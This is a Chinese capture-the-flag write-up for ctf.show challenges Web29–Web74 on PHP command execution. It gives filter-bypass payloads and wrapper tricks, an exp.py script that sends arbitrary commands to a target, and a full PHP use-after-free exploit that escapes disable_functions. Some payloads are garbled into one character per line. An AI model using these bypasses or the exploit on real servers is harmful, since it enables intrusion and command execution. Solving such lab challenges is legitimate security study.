Web29
题目:命令执行,需要严格的过滤
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:给c传入一个值,返回flag
使用system,ls查看当前目录文件,发现flag.php
cat flag.php什么也没有
过虑了flag
使用cat f* 代替cat flag.php
查看源代码获得flag
Web30
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了flag,system,php
使用字符串拼接进行绕过
payload:c=
a
=
"
s
y
s
"
;
a="sys";
a="sys";b=“tem”;
z
=
z=
z=a.
b
;
b;
b;s(‘cat f*’);
Web31
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag system php cat sort shell . 单引号
过虑了system可以使用passthru
并且过虑了cat 则可以使用more进行绕过
payload:?c=passthru($_POST[a]);
然后post进行传参
获取flag
Web32
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag flag system php cat sort shell . 单引号 空格 反单引号 echo 分号
过虑空格可以使用${IFS} %0a进行过虑 分号可以使用?>进行过虑
过虑了括号,就不能使用带括号的函数,使用include 进行文件包含
配合php伪协议进行读取文件
payload:?c=include
I
F
S
{IFS}
IFS_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php
解码获得flag
Web33
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag flag system php cat sort shell . 单引号 空格 反单引号 echo 分号 双引号
只是多过虑一个双引号
做法同Web32
Web34
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag flag system php cat sort shell . 单引号 空格 反单引号 echo 分号 双引号
做法同上
Web35
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag flag system php cat sort shell . 单引号 空格 反单引号 echo 分号 双引号 < =
做法同上
Web36
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过虑了:flag flag system php cat sort shell . 单引号 空格 反单引号 echo 分号 双引号 < = / 数字
做法同上
Web37
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
使用data伪协议
date://text/plain;base64,编码 <?php system("cat flag.php");?>
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
或?c=data://text/plain,<?php system("cat fl\*");?>
获得flag
Web38
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过虑了flag php file
使用data伪协议进行base64编码
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
获得flag
Web39
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过虑了flag 并对c进行拼接.php
使用data伪协议,
data伪协议相当于执行了php文件,并且闭合,则后面的.php就以html的形式执行显示在后面
payload:?c=data://text/plain,<?php system("cat fla\*");?>
Web40
源码:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到过虑括号 但是过虑的是中文括号而不是英文括号
引号也被过虑了,不能用伪协议
首先需要知道当前目录的文件
scandir()函数可以扫描目录
首先如何构造scandir(’.’)
php函数:
localeconv():返回本地数字及货币格式信息的数组.数组的第一项为**.**
pos()或cureent():返回数组的第一个值
arrary_reverse():数组逆序
netx():将指针指向数组的下一个指针并输出
注:pos(localeconv())永远是点.
构造payload:print_r(scandir(pos(localeconv())));
获取当前目录文件
flag.php在倒数第二个
将数组进行反转
payload:print_r(array_reverse(scandir(pos(localeconv()))));
然后使用next()指向flag
payload:print_r(next(array_reverse(scandir(pos(localeconv())))));
然后使用highlight_file()或者show_source()进行读取flag
payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
Web41
源码:
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符
脚本rce_or.php:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
脚本exp.py:
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
运行exp.py获得flag
Web42
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
传入的c会和后面的字符串进行拼接,然后被执行
只需在c后面添加**;**即可绕过
Web43
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
先对c进行了判断,如果不含有cat ;
则执行下面
可以使用more代替cat %0a代替;
payload:?c=more flag.php%0a
Web44
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在过虑了cat ; 基础上 过虑了flag
payload:?c=more fla*.php%0a
Web45
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上过虑了空格
使用${IFS}进行绕过
payload:?c=more${IFS}fla*.php%0a
Web46
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上过虑了数字 $ *
既然过虑了*和$
空格使用%09进行绕过
*使用?进行绕过
payload:?c=more%09fla?.php%0a
Web47
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过虑了: ; cat flag 空格 数字 $ * more less head sort tail
不用使用more了
使用tac替代more
payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a
Web48
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过虑了: ; cat flag 空格 数字 $ * more less head sort tail sed cut awk strings od curl 反单引号
并没有过虑tac
payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a
Web49
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过虑了: ; cat flag 空格 数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 %
payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a
或?c=tac%09fla’'g.php%0a
Web50
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过虑了: ; cat flag 空格 数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 % x09(空格) x26(&)
则不能使用%09进行绕过空格
<代替%09
payload:?c=tac<fla’'g.php%0a
Web51
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过虑了: ; cat flag 空格 数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 % x09(空格) x26(&) tac
过虑了tac则不能使用tac
使用nl
payload:?c=nl<fla’'g.php%0a
Web52
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
把替换空格的<>过虑了
则可以使用${IFS}进行绕过
flag不在这…
查看根目录,发现flag
payload:?c=nl${IFS}/fla’'g||
Web53
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
payload:?c=nl${IFS}fla’'g.php
Web54
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
使用paste查看文件内容
payload:?c=paste
I
F
S
f
l
a
?
.
p
h
p
或
?
a
t
{IFS}fla?.php 或 ?at
IFSfla?.php或?at{IFS}fla?.php
?at会自动匹配cat
Web55
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过虑了: a-z ; 返单引号 % x09(空格) x26(&) <>
可以使用/bin/base64 对文件夹进行加密输出
/???/???64 ???(flag.php)
payload:/???/???64 ???
解密获得flag
Web56
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上过虑了数字,则不能使用/bin/base64
这两题是无字母无数字rce
首先需要一个上传表单(中间的url需要根据题目更改)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://748bc59d-a655-4332-b02b-1a539e45ba33.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后进行进行抓包,构造poc
改为
尝试几次就可以
然后cat flag.php即可
以下两篇文章:
Firebasky师傅:https://blog.csdn.net/qq_46091464/article/details/108513145
P神:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
Web57
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
分析得到,需要凑出36就可以 并没有过虑$ ()
使用 $(())做运算
输出结果为 0
对0进行取反 结果为-0
对-0进行运算 结果为-1
-1得到了,只需要将-1±1…加到-36然后取反即可
可以看到*36即可得到-36
取反得到35,则在加一个得到36
36以及出来,然后将*37换成
(
(
?
((~
((?(())))
加36次
payload:
(
(
?
((~
((?((
(
(
?
((~
((?(())))+
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))
(
(
?
((~
((?(())))))))
Web58
源码:
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post给c一个值
函数被禁用,
scandir():以数组的方式返回当前目录文件
print_r():输出数组
使用print_r(scandir(’.’));
查看当前目录有什么文件
然后直接使用show_source(“flag.php”);查看文件
Web59
步骤Web58
Web60
步骤Web58
Web61
步骤Web58
Web62
步骤Web58
Web63
步骤Web58
Web64
步骤Web58
Web65
步骤Web58
Web66
过虑了show_source
使用highlight_file
提示flag不在这里
查看根目录,发现flag.txt
读取/flag.txt
Web67
同Web66
Web68
禁用了highlight_file()
使用include()包含/flag.txt
Web69
同Web68
Web70
同Web68
Web71
源码:
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
ob_get_contents():获得缓冲区的内容
ob_end_clean():关闭缓冲区
preg_replace():执行正则表达式进行替换
可以使用exit(0) 让后面的缓冲区不执行
payload:?c=include(’/flag.txt’);exit(0);
Web72
源码:
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
查看文件夹
使用目录迭代器查看DirectoryIterator
获得当前目录文件
<?php
$a = new DirectoryIterator('glob://*');
foreach ($a as $f){
echo $f->__toString()."";
}
?>
glob:///* 查看根目录所有文件
获得flag文件
include被过滤
此题有open_basedir和disable_functions限制
open_basedir:将php能打开的文件限制在指定目录中
disable_functions:禁用某些函数
exp:
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
需要进行url编码
Web73
使用上一题的迭代器查看文件
使用include
Web74
查看文件
include获得文件内容
|